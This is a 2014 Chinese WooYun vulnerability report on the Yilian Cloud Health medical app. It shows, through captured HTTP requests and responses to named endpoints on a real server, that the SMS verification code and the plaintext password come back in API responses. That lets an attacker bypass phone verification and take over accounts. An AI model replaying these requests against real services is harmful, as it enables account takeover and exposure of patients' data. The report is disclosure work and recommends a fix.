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缺陷编号：wooyun-2014-076941

漏洞标题：某医联健康APP可以注册、忘记密码画面可绕过手机身份验证,推测帐号密码

相关厂商：医联云健康

漏洞作者： lucky_fn

提交时间：2014-09-22 19:00

修复时间：2014-11-06 19:02

公开时间：2014-11-06 19:02

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2014-09-22： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-11-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

APP好像很难查找开发商，提供已知信息
问题APP名：
医联云健康APP
下载地址：http://apk.91.com/Soft/Android/cn.zgjkw.ydyl.dz-4.html
短信联系方：
泰福健康
http://www.taivex.org/
问题画面一：忘记密码
忘记密码时先输入手机号，然后取得验证码，通过验证后，短信通知密码
问题：只要暴力推测出用户手机号，可以通过抓包取得验证码和登录密码
问题画面二：注册
注册时需要输入手机验证码
问题：可以通过抓包取得验证码

详细说明：

问题画面一：忘记密码

1.png


输入手机号，取得验证码

2.png


发现response已经有验证码7358：

GET /BSoftNew.svc/GetMobileCheckCode?istaivextype=true&mobile=156...手机号省略...6 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"checkcode":"7358"},"header":{"action":"GetMobileCheckCode","errreason":"","requestseq":"0"}}


输入

3.png


送信得到密码wooyun8899：

GET /BSoftNew.svc/GetUserPasswordByCheckCode?messagetype=1&checkcode=7358&mobile=156...手机号省略...6 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 126
Content-Type: text/plain
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 22 Sep 2014 05:59:58 GMT
{"code":"0","data":{"password":"wooyun8899"},"header":{"action":"GetUserPasswordByCheckCode","errreason":"","requestseq":"0"}}


登录成功

GET /BSoftNew.svc/Login?username=156...省略...6&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun8899&DevVer=4.2.2 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"...省略...","usertype":"2","stunumber":"","stucode":"","mobile":"156...省略...6","userkey":"","ver":"1.0","sn":"0...省略...2","psn":"0...省略...2","name":"泰福医联","hoscode":"","squcode":"","hisucode":"","servercurticks":"1...省略...4","idcard":"","realname":"156...省略...6","logo":"","sex":"","sign":"156...省略...6","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"9...省略...2","username":"156...省略...6","orgcode":"0...省略...8","password":"wooyun8899","userid":"2...省略...8","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...4"}}


4.png


问题画面二：注册

Screenshot_2014-09-22-14-20-03.png


点注册后直接在response里得到验证码，绕过手机了。。

GET /BSoftNew.svc/GetMobileCheckCode?istaivextype=true&mobile=156...手机号省略...7 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"checkcode":"5821"},"header":{"action":"GetMobileCheckCode","errreason":"","requestseq":"0"}}


输入验证码：

Screenshot_2014-09-22-14-21-30.png


注册成功：

GET /BSoftNew.svc/AddMobileUser?password=pentest&checkcode=5821&mobile=156...手机号省略...7 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{},"header":{"action":"AddMobileUser","errreason":"","requestseq":"0"}}


Screenshot_2014-09-22-14-21-37.png

漏洞证明：

同上

修复方案：

不要把验证码、密码显示在请求响应中。

版权声明：转载请注明来源 lucky_fn@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝